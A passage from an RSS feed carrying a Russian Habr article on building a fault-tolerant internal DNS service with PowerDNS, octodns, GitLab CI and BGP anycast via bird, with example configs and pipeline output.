правил маршрутизации у нас нет, переписывать запросы на ходу нам не нужно, а саму балансировку мы реализовали другим способом.&lt;p&gt;Подробнее об этом — далее.&lt;/div&gt;&lt;/details&gt;&lt;h4&gt;DNS server&lt;/h4&gt;&lt;p&gt;Итак, наш DNS сервер состоит из pdns‑recursor и pdns‑authoritative.&lt;p&gt;На входе recursor обслуживает запросы, выступает как маршрутизатор и кеш, за ним authoritative — отвечает за наши зоны.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/86d/39b/08a/86d39b08abe670420fdc0c936b291b75.png width=785 height=379 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/86d/39b/08a/86d39b08abe670420fdc0c936b291b75.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/86d/39b/08a/86d39b08abe670420fdc0c936b291b75.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Получается такой путь запроса:&lt;ul&gt;&lt;li&gt;&lt;p&gt;если зона явно не определена в forward — запрос уйдет в интернет на root hints&lt;li&gt;&lt;p&gt;если определена и мы ей управляем — на него ответит локальный инстанс authoritative&lt;li&gt;&lt;p&gt;если определена, но мы ей не управляем — recursor отправит запрос на указанный в конфигурации адрес&lt;/ul&gt;&lt;p&gt;С самим DNS и стеком мы определились, теперь нужно собрать это вместе и научиться этим управлять.&lt;h3&gt;Управление через IaC&lt;/h3&gt;&lt;h4&gt;Authoritative&lt;/h4&gt;&lt;p&gt;Были разные идеи, как именно организовать работу с его API, даже сделать свой контроллер с reconciliation loop и вот это всё. Поразмыслив, явных плюсов от такой идеи мы для себя не нашли, поэтому решили остановиться на варианте попроще:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://github.com/octodns/octodns rel=&#34;noopener noreferrer nofollow&#34;&gt;octodns&lt;/a&gt; для управления зонами&lt;li&gt;&lt;p&gt;&lt;a href=https://docs.gitlab.com/topics/build_your_application rel=&#34;noopener noreferrer nofollow&#34;&gt;Gitlab CI&lt;/a&gt; для доставки конфигурации&lt;/ul&gt;&lt;p&gt;Ранее я говорил, что мы хотим управлять еще и внешними зонами одним инструментом — и octodns как раз позволяет нам это сделать. У утилиты есть множество готовых провайдеров, включая сам powerdns. Плюс — он написан на python, код у него довольно простой, поэтому расширить функционал или добавить провайдер при необходимости не трудно.&lt;p&gt;В примерах ниже я сильно упростил конфигурацию. Документация по &lt;a href=https://octodns.readthedocs.io/en/latest/configuration.html rel=&#34;noopener noreferrer nofollow&#34;&gt;octodns&lt;/a&gt; и &lt;a href=https://docs.gitlab.com/ci/ rel=&#34;noopener noreferrer nofollow&#34;&gt;gitlab‑ci&lt;/a&gt; хорошо написана, поэтому разбирать логику, правила и прочее я здесь не буду.&lt;p&gt;Конфигурация octodns описывается в YAML, это позволяет нам переиспользовать значения и целые блоки с помощью anchors — очень удобно, когда у вас много зон и серверов.&lt;p&gt;У нас получается примерно такой репозиторий:&lt;pre&gt;&lt;code&gt;authoritative/&#xA;├── dns&#xA;│   └── intranet&#xA;│       ├── zone-a.internal&#xA;│       ├── zone-b.internal&#xA;│       └── zone-c.internal&#xA;├── dns-intranet.yaml&#xA;└── .gitlab-ci.yml&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В &lt;code&gt;dns-intranet.yaml&lt;/code&gt; определяются DNS серверы и доступы к API:&lt;pre&gt;&lt;code class=yaml&gt;powerdns_template: &amp;amp;powerdns_template&#xA;  class: octodns_powerdns.PowerDnsProvider&#xA;  api_key: env/POWERDNS_AUTHORITATIVE_API_KEY&#xA;  scheme: https&#xA;  port: 443&#xA;  ssl_verify: true&#xA;providers:&#xA;  intranet_config:&#xA;    class: octodns.provider.yaml.YamlProvider&#xA;    directory: ./dns/intranet&#xA;    enforce_order: false&#xA;  ns-1-az-1:&#xA;    &amp;lt;&amp;lt;: *powerdns_template&#xA;    host: 192.0.2.11&#xA;  ns-2-az-1:&#xA;    &amp;lt;&amp;lt;: *powerdns_template&#xA;    host: 192.0.2.12&#xA;  ns-1-az-2:&#xA;    &amp;lt;&amp;lt;: *powerdns_template&#xA;    host: 192.0.2.21&#xA;  ns-2-az-2:&#xA;    &amp;lt;&amp;lt;: *powerdns_template&#xA;    host: 192.0.2.22&#xA;  ns-1-az-3:&#xA;    &amp;lt;&amp;lt;: *powerdns_template&#xA;    host: 192.0.2.31&#xA;  ns-2-az-3:&#xA;    &amp;lt;&amp;lt;: *powerdns_template&#xA;    host: 192.0.2.32&#xA;providers_templates:&#xA;  intranet_ns: &amp;amp;intranet_ns&#xA;    - ns-1-az-1&#xA;    - ns-2-az-1&#xA;    - ns-1-az-2&#xA;    - ns-2-az-2&#xA;    - ns-1-az-3&#xA;    - ns-2-az-3&#xA;zones:&#xA;  &amp;#39;*&amp;#39;:&#xA;    sources:&#xA;      - intranet_config&#xA;    targets: *intranet_ns&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В &lt;code&gt;dns/intranet/&lt;/code&gt; держим конфигурации зон в разных файлах, например:&lt;pre&gt;&lt;code class=yaml&gt;# zone-a.internal&#xA;&#xA;&amp;#39;&amp;#39;:&#xA;  type: NS&#xA;  values:&#xA;    - ns1.zone-a.internal.&#xA;    - ns2.zone-a.internal.&#xA;ns1:&#xA;  ttl: 3600&#xA;  type: A&#xA;  value: 198.51.100.10&#xA;ns2:&#xA;  ttl: 3600&#xA;  type: A&#xA;  value: 198.51.100.20&#xA;service-1:&#xA;  ttl: 300&#xA;  type: A&#xA;  value: 192.0.2.101&#xA;service-2:&#xA;  ttl: 300&#xA;  type: A&#xA;  value: 192.0.2.102&#xA;service-3:&#xA;  ttl: 120&#xA;  type: A&#xA;  value: &amp;amp;svc-3 192.0.2.103&#xA;service-4:&#xA;  ttl: 120&#xA;  type: A&#xA;  value: &amp;amp;svc-4 192.0.2.104&#xA;svc-3-4:&#xA;  ttl: 120&#xA;  type: A&#xA;  values:&#xA;    - *svc-3&#xA;    - *svc-4&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В pipeline запускается octodns, в нашем случае коммит в &lt;code&gt;dev&lt;/code&gt; ветку вычисляет дельту, а изменение применяется после merge в &lt;code&gt;prod&lt;/code&gt;:&lt;pre&gt;&lt;code class=yaml&gt;# commit - dev&#xA;diff_intranet:&#xA;  stage: diff&#xA;  script:&#xA;    - octodns-sync --config-file dns-intranet.yaml&#xA;&#xA;# merge - prod&#xA;apply_intranet:&#xA;  stage: apply&#xA;  script:&#xA;    - octodns-sync --config-file dns-intranet.yaml --doit --force&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В pipeline - план выполнения и результаты измененй:&lt;pre&gt;&lt;code class=bash&gt;$ octodns-sync --config-file dns-intranet.yaml --doit --force&#xA;&#xA;INFO    Manager sync:     targets=[&amp;#39;ns-1-az-1&amp;#39;, &amp;#39;ns-1-az-2&amp;#39;]&#xA;INFO    YamlProvider[intranet_config] populate:   found 7 records, exists=True&#xA;INFO    PowerDnsProvider[ns-1-az-1] plan: desired=zone-a.internal.&#xA;INFO    PowerDnsProvider[ns-1-az-1] populate:   found 8 records, exists=True&#xA;INFO    PowerDnsProvider[ns-1-az-1] plan:   Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False&#xA;INFO    PowerDnsProvider[ns-1-az-2] plan: desired=zone-a.internal.&#xA;INFO    PowerDnsProvider[ns-1-az-2] populate:   found 8 records, exists=True&#xA;INFO    PowerDnsProvider[ns-1-az-2] plan:   Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False&#xA;INFO    Plan&#xA;********************************************************************************&#xA;* zone-a.internal.&#xA;********************************************************************************&#xA;* ns-1-az-1 (PowerDnsProvider)&#xA;*   Delete &amp;lt;ARecord A 300, service-2.zone-a.internal., [&amp;#39;192.0.2.102&amp;#39;]&amp;gt;&#xA;*   Update&#xA;*     &amp;lt;ARecord A 120, service-3.zone-a.internal., [&amp;#39;192.0.2.103&amp;#39;]&amp;gt; -&amp;gt;&#xA;*     &amp;lt;ARecord A 120, service-3.zone-a.internal., [&amp;#39;192.0.2.110&amp;#39;]&amp;gt; (intranet_config)&#xA;*   Update&#xA;*     &amp;lt;ARecord A 120, svc-3-4.zone-a.internal., [&amp;#39;192.0.2.103&amp;#39;, &amp;#39;192.0.2.104&amp;#39;]&amp;gt; -&amp;gt;&#xA;*     &amp;lt;ARecord A 120, svc-3-4.zone-a.internal., [&amp;#39;192.0.2.104&amp;#39;, &amp;#39;192.0.2.110&amp;#39;]&amp;gt; (intranet_config)&#xA;*   Summary: Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False&#xA;* ns-1-az-2 (PowerDnsProvider)&#xA;*   Delete &amp;lt;ARecord A 300, service-2.zone-a.internal., [&amp;#39;192.0.2.102&amp;#39;]&amp;gt;&#xA;*   Update&#xA;*     &amp;lt;ARecord A 120, service-3.zone-a.internal., [&amp;#39;192.0.2.103&amp;#39;]&amp;gt; -&amp;gt;&#xA;*     &amp;lt;ARecord A 120, service-3.zone-a.internal., [&amp;#39;192.0.2.110&amp;#39;]&amp;gt; (intranet_config)&#xA;*   Update&#xA;*     &amp;lt;ARecord A 120, svc-3-4.zone-a.internal., [&amp;#39;192.0.2.103&amp;#39;, &amp;#39;192.0.2.104&amp;#39;]&amp;gt; -&amp;gt;&#xA;*     &amp;lt;ARecord A 120, svc-3-4.zone-a.internal., [&amp;#39;192.0.2.104&amp;#39;, &amp;#39;192.0.2.110&amp;#39;]&amp;gt; (intranet_config)&#xA;*   Summary: Creates=0, Updates=2, Deletes=1, Existing=8, Meta=False&#xA;********************************************************************************&#xA;&#xA;&#xA;INFO    PowerDnsProvider[ns-1-az-1] apply: making 3 changes to zone-a.internal.&#xA;INFO    PowerDnsProvider[ns-1-az-2] apply: making 3 changes to zone-a.internal.&#xA;INFO    Manager sync:   6 total changes&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Таким образом у нас управляются все ресурсы во всех зонах: и внутренних, и внешних. Все изменения проходят через merge request, тестируются и не позволят сломать весь DNS разом. Конфигурация применяется поочередно, если что‑то пойдет не так — выполнение остановится.&lt;p&gt;Но есть еще одна задача, которую нужно решить, прежде чем идти дальше.&lt;h4&gt;Recursor&lt;/h4&gt;&lt;p&gt;Octodns решает проблему управления и доставки зон для Authoritative, но это не работает с Recursor, а нам всё еще нужно управлять маршрутизацией запросов на другие DNS серверы, да и на наши тоже.&lt;p&gt;Сначала была идея добавить его как отдельный провайдер, но это не очень бьется с логикой проекта, мы всё же не будем управлять ресурсными записями. В общем, проще было сделать отдельную утилиту для управления forward конфигурацией (и recursor вообще) — так я написал &lt;strong&gt;pdns‑recursor‑cli&lt;/strong&gt;. К сожалению, прямо сейчас я не готов выложить её в паблик, но постараюсь найти время и сделаю это позже.&lt;p&gt;Работает pdns‑recursor‑cli примерно так же, как octodns: получает желаемый state из файла конфигурации, сверяет его с состоянием DNS, применяет изменения, если есть расхождения.&lt;p&gt;В конфигурации описываются серверы (&lt;code&gt;targets&lt;/code&gt;), данные для авторизации в API и путь к правилам forward (&lt;code&gt;zone_file&lt;/code&gt;):&lt;pre&gt;&lt;code class=yaml&gt;zone_file: dns/recursor/zones.yaml&#xA;targets:&#xA; - name: rec-1&#xA;   api_url: https://ns-1.az-1.internal/rec/&#xA;   api_key: !env POWERDNS_RECURSOR_API_KEY&#xA;   api_ssl_verify: true&#xA; - name: rec-2&#xA;   api_url: https://ns-1.az-2.internal/rec/&#xA;   api_key: !env POWERDNS_RECURSOR_API_KEY&#xA;   api_ssl_verify: true&#xA; - name: rec-3&#xA;   api_url: https://ns-1.az-3.internal/rec/&#xA;   api_key: !env POWERDNS_RECURSOR_API_KEY&#xA;   api_ssl_verify: true&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В &lt;code&gt;zone_file&lt;/code&gt; описаны правила, как резолвить зону (рекурсивно или нет) и какие серверы для этого использовать:&lt;pre&gt;&lt;code class=yaml&gt;aliases:&#xA;  internal_dns: &amp;amp;internal_dns&#xA;    - 192.0.2.11:53&#xA;    - 192.0.2.12:53&#xA;  remote_dns: &amp;amp;remote_dns&#xA;    - 198.51.100.10:53&#xA;    - 203.0.113.10:53&#xA;  testing_dns: &amp;amp;testing_dns&#xA;    - 192.0.2.201:53&#xA;zones:&#xA;  - name: intranet.internal.&#xA;    recursion_desired: false&#xA;    servers: *internal_dns&#xA;  - name: site-a.remote.tld.&#xA;    recursion_desired: false&#xA;    servers: *remote_dns&#xA;  - name: labs.example.&#xA;    recursion_desired: true&#xA;    servers: *testing_dns&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Аналогично pipeline для Authoritative, запускается проверка дельты при коммите в &lt;code&gt;dev&lt;/code&gt;:&lt;pre&gt;&lt;code class=bash&gt;$ pdns-recursor-cli state diff&#xA;&#xA;Retrieving state&#xA;- [+] Retrieved state from rec-1&#xA;- [+] Retrieved state from rec-2&#xA;- [+] Retrieved state from rec-3&#xA;&#xA;Diff with rec-1:  &#xA;- add: []  &#xA;  delete: []  &#xA;  update:  &#xA;   intranet.internal.:  &#xA;   - &amp;#39;[servers] 192.0.2.21:53, 192.0.2.22:53 -&amp;gt; 192.0.2.11:53, 192.0.2.12:53&amp;#39;  &#xA;  &#xA;Diff with rec-2:  &#xA;- add: []  &#xA;  delete: []  &#xA;  update:  &#xA;   intranet.internal.:  &#xA;   - &amp;#39;[servers] 192.0.2.21:53, 192.0.2.22:53 -&amp;gt; 192.0.2.11:53, 192.0.2.12:53&amp;#39;  &#xA;  &#xA;Diff with rec-3:  &#xA;- add: []  &#xA;  delete: []  &#xA;  update:  &#xA;   intranet.internal.:  &#xA;   - &amp;#39;[servers] 192.0.2.21:53, 192.0.2.22:53 -&amp;gt; 192.0.2.11:53, 192.0.2.12:53&amp;#39;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;И применение конфига в &lt;code&gt;prod&lt;/code&gt;:&lt;pre&gt;&lt;code class=bash&gt;$ pdns-recursor-cli state sync&#xA;&#xA;Retrieving state&#xA;- [+] Retrieved state from rec-1  &#xA;- [+] Retrieved state from rec-2  &#xA;- [+] Retrieved state from rec-3  &#xA;&#xA;Syncing state on rec-1  &#xA;- [+] Synced on rec-1  &#xA;Syncing state on rec-2  &#xA;- [+] Synced on rec-2  &#xA;Syncing state on rec-3  &#xA;- [+] Synced on rec-3&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Этот же инструмент используется для работы с кешем:&lt;pre&gt;&lt;code class=bash&gt;$ pdns-recursor-cli cache flush intranet.internal.&#xA;Flushing caches for zone &amp;#34;intranet.internal.&amp;#34;, recursive: False  &#xA;- [+] Flushed on rec-1  &#xA;- [+] Flushed on rec-2  &#xA;- [+] Flushed on rec-3&#xA;  &#xA;$ pdns-recursor-cli cache flush .&#xA;Flushing caches for zone &amp;#34;.&amp;#34;, recursive: True  &#xA;- [+] Flushed on rec-1  &#xA;- [+] Flushed on rec-2  &#xA;- [+] Flushed on rec-3&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Например, так мы можем сбросить DNS кеш на всей инфраструктуре по заданным доменам, отдельным записям или вообще весь.&lt;p&gt;Итоговая схема работы выглядит так:&lt;ul&gt;&lt;li&gt;&lt;p&gt;сделали коммит — остальное делает CI/CD&lt;li&gt;&lt;p&gt;проверка синтаксиса и грубых ошибок&lt;li&gt;&lt;p&gt;получение дельты с recursor, authoritative и внешних DNS&lt;li&gt;&lt;p&gt;вывод плана изменений&lt;li&gt;&lt;p&gt;применение нового конфига после merge&lt;/ul&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a5e/141/cf6/a5e141cf69efd69199b9ce4ea3c9f5c2.png alt=Workflow title=Workflow width=830 height=331 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a5e/141/cf6/a5e141cf69efd69199b9ce4ea3c9f5c2.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a5e/141/cf6/a5e141cf69efd69199b9ce4ea3c9f5c2.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Осталось подумать над отказоустойчивостью и балансировкой.&lt;h4&gt;BGP Anycast&lt;/h4&gt;&lt;p&gt;Тут не будет истории про выборы технологий и вариантов, потому что мы изначально планировали именно такой вариант. BGP для балансировки и HA уже давно использовался в других сервисах и нам хорошо знаком. И вообще я бывший сетевик, я люблю BGP (но дело не в этом!).&lt;p&gt;Конечно, важно учитывать особенности и ограничения, которые неизбежно будут влиять на работу сервисов, например, ограниченное количество ECMP групп на оборудовании или дроп асимметричного трафика на firewall из‑за отсутствия сессии в таблице — но мы про них помним, но сейчас я не буду разбирать эти сценарии.&lt;p&gt;Суть Anycast сводится к анонсированию одинакового сервисного адреса (или нескольких адресов) которые будут обслуживать наш трафик, со всех серверов внутри сети. Для этого серверы строят BGP пиринг с маршрутизаторами (или коммутаторами, или route‑reflector, или чем‑нибудь еще) в своей зоне доступности. Хороший пример применения BGP Anycast — Google DNS, он именно так и построен (конечно, сложнее, чем описано в этой статье).&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f72/9e3/4d8/f729e34d8bca6be0658cea0e0b34abd6.png width=853 height=802 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f72/9e3/4d8/f729e34d8bca6be0658cea0e0b34abd6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f72/9e3/4d8/f729e34d8bca6be0658cea0e0b34abd6.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В нормальном состоянии, запросы будут обслуживаться ближайшим к клиенту сервером, в случае отказа — трафик будет доставлен на другой сервер за счет перестроения маршрутизации. А в качестве бонуса мы получаем ECMP балансировку и возможность горизонтально масштабировать количество серверов, если это потребуется.&lt;p&gt;На стороне клиента в конфигурации DNS всегда одни и те же адреса, независимо от локации.&lt;h4&gt;Как это реализовано&lt;/h4&gt;&lt;p&gt;Для такой схемы требуется настройка со стороны сетевого оборудования. Допустим, у нас уже настроены BGP сессии на маршрутизаторах, они принимают наши адреса для DNS и разрешают AS path prepend (в нашем случае это важно).&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/0c8/7ad/a7b/0c87ada7bcd420b298e7ff5cd36398c6.png width=452 height=478 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/0c8/7ad/a7b/0c87ada7bcd420b298e7ff5cd36398c6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/0c8/7ad/a7b/0c87ada7bcd420b298e7ff5cd36398c6.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;div class=floating-image&gt;&lt;p&gt;На стороне DNS серверов (&lt;strong&gt;ns-1&lt;/strong&gt; и &lt;strong&gt;ns-2&lt;/strong&gt;) создаются anycast адреса &lt;code&gt;198.51.100.10&lt;/code&gt; и &lt;code&gt;198.51.100.20&lt;/code&gt;, применяемые на loopback интерфейс (в примере используется netplan):&lt;/div&gt;&lt;pre&gt;&lt;code class=yaml&gt;# /etc/netplan/0_loopback.yaml&#xA;&#xA;network:&#xA;  version: 2&#xA;  renderer: networkd&#xA;  ethernets:&#xA;    lo:&#xA;      addresses:&#xA;        - 127.0.0.1/8&#xA;        - ::1/128&#xA;        # anycast-svc-dns-1&#xA;        - 198.51.100.10/32&#xA;        # anycast-svc-dns-2&#xA;        - 198.51.100.20/32&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Для стыковки по BGP используется &lt;a href=https://bird.network.cz/ rel=&#34;noopener noreferrer nofollow&#34;&gt;bird&lt;/a&gt;, в нем настраиваются соседства, анонсы и фильтры. Дополнительно, мы анонсируем адреса с разным приоритетом для &lt;strong&gt;ns-1&lt;/strong&gt; и &lt;strong&gt;ns-2,&lt;/strong&gt; используя path prepend. Таким образом, &lt;strong&gt;ns-1&lt;/strong&gt; всегда будет приоритетным для адреса &lt;code&gt;198.51.100.10&lt;/code&gt;, а &lt;strong&gt;ns-2&lt;/strong&gt; — для адреса &lt;code&gt;198.51.100.20&lt;/code&gt;.&lt;p&gt;Конфигурация bird для &lt;strong&gt;ns-1&lt;/strong&gt;:&lt;pre&gt;&lt;code&gt;# ns-1&#xA;&#xA;log syslog all;&#xA;router id 192.0.2.11;&#xA;&#xA;protocol device {&#xA;}&#xA;&#xA;protocol direct {&#xA;    interface &amp;#34;lo&amp;#34;;&#xA;}&#xA;&#xA;protocol kernel {&#xA;        import all;&#xA;        export all;&#xA;}&#xA;&#xA;protocol bgp {&#xA;    local as 65501;&#xA;    neighbor 203.0.113.1 as 65502;&#xA;    neighbor 203.0.113.2 as 65502;&#xA;    keepalive time 3;&#xA;    hold time 9;&#xA;    import none;&#xA;    export filter {&#xA;        if net = 198.51.100.10/32 then accept;&#xA;        if net = 198.51.100.20/32 then {&#xA;            bgp_path.prepend(65501);&#xA;        } accept;&#xA;        reject;&#xA;    };&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;И для &lt;strong&gt;ns-2&lt;/strong&gt;:&lt;pre&gt;&lt;code&gt;# ns-2&#xA;&#xA;log syslog all;&#xA;router id 192.0.2.12;&#xA;&#xA;protocol device {&#xA;}&#xA;&#xA;protocol direct {&#xA;    interface &amp;#34;lo&amp;#34;;&#xA;}&#xA;&#xA;protocol kernel {&#xA;        import all;&#xA;        export all;&#xA;}&#xA;&#xA;protocol bgp {&#xA;    local as 65501;&#xA;    neighbor 203.0.113.1 as 65502;&#xA;    neighbor 203.0.113.2 as 65502;&#xA;    keepalive time 3;&#xA;    hold time 9;&#xA;    import none;&#xA;    export filter {&#xA;        if net = 198.51.100.20/32 then accept;&#xA;        if net = 198.51.100.10/32 then {&#xA;            bgp_path.prepend(65501);&#xA;        } accept;&#xA;        reject;&#xA;    };&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Здесь мы импортируем &lt;strong&gt;connected route&lt;/strong&gt; из интерфейсов &lt;code&gt;lo&lt;/code&gt;, запрещаем прием префиксов от соседей и анонсируем им только то, что определено в &lt;code&gt;filter&lt;/code&gt;. Для понижения приоритета определенного префикса, мы добавляем ему в &lt;strong&gt;AS_PATH&lt;/strong&gt; еще одно вхождение нашей AS (prepend).&lt;details class=spoiler&gt;&lt;summary&gt;Про выбор маршрута в BGP&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;В BGP есть много способов управлять трафиком и приоритетами, AS path prepend — только один из них. Например, по &lt;a href=https://www.cisco.com/c/en/us/support/docs/ip/border-gateway-protocol-bgp/13753-25.html rel=&#34;noopener noreferrer nofollow&#34;&gt;этому&lt;/a&gt; алгоритму выбирается маршрут в Cisco.&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Этой минимальной конфигурации достаточно, чтобы наш DNS заработал. Осталось его масштабировать, покрыть мониторингом и написать DR план. Но это уже тема для другой статьи.&lt;h3&gt;О чем я не рассказал&lt;/h3&gt;&lt;p&gt;&lt;em&gt;И о чем лучше подумать заранее.&lt;/em&gt;&lt;p&gt;В статье я намеренно не раскрывал все мелочи и особенности, которые могут быть, всё же целью было поделиться своей историей. Инфраструктура у всех разная и везде есть свои особенности. Но хочу отдельно отметить важные моменты, которые могут сэкономить нервы и минуты простоя, не вдаваясь детально в реализацию.&lt;p&gt;&lt;strong&gt;Шифрование и защита API&lt;/strong&gt;&lt;p&gt;В примерах я не вдавался в настройку TLS, выпуск сертификатов и ограничения доступа к API. Разумеется, в проде это необходимо. Перед API можно поставить nginx, traefik или любой другой веб‑сервер, который решает эти задачи.&lt;p&gt;&lt;strong&gt;Автоматизация развертывания и управления серверами (и оборудованием)&lt;/strong&gt;&lt;p&gt;На масштабе без автоматизации никуда, тем не менее, здесь это кртиически важно. Ошибки в конфигурации DNS могут очень больно стрелять. Мы используем ansible и gitlab для раскатки и изменения конфигураций (например, BGP), делаем это небольшими частями, предусматриваем автоматический откат и остановку выполнения, если что‑то пошло не по плану.&lt;p&gt;&lt;strong&gt;Liveness probe&lt;/strong&gt;&lt;p&gt;Если DNS не будет работать, а адрес продолжит анонсироваться — будет неприятно. Например, это одна из причин, почему в конфигурации выше адреса отдаются с разным приоритетом. Возможно, кому‑то хватит systemd зависимостей bird от pdns, а кому‑то потребуется изменение анонсов BGP при наступлении определенных событий, например, с помощью &lt;a href=https://github.com/alice-lg/birdwatcher rel=&#34;noopener noreferrer nofollow&#34;&gt;birdwatcher&lt;/a&gt;. Мы внедряли проверки резолвинга своих зон и понижение приоритета, если что‑то идет не так.&lt;p&gt;&lt;strong&gt;Лучше понизить приоритет, чем полностью убрать анонсы&lt;/strong&gt;&lt;p&gt;Автоматический drain при деградации сервиса — это здорово, пока это не решат сделать все участники DNS одновременно, одна компания в 2021 году в этом убедилась. Можно понижать приоритет автоматикой, оставить запасной less‑specific как статический маршрут или использовать третий адрес вне anycast — вариантов предохранителей много, главное — чтобы он у вас был.&lt;h3&gt;Итоги&lt;/h3&gt;&lt;p&gt;Это была интересная задача и я доволен тем, как всё получилось. После переезда на новую архитектуру нам стало намного проще жить: коллеги больше не боятся трогать DNS, вся история и конфиги — в репозиториях и управляются однообразно, а сломать сам DNS теперь намного труднее. Но всё еще можно, конечно.&lt;p&gt;Спасибо за внимание!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Xelld</author>
      <guid>https://habr.com/ru/articles/1024930/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024930</guid>
      <pubDate>Sat, 18 Apr 2026 09:15:43 +0000</pubDate>
    </item>
    <item>
      <title>Юбилей легенды</title>
      <link>https://habr.com/ru/companies/ruvds/articles/1016910/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1016910</link>
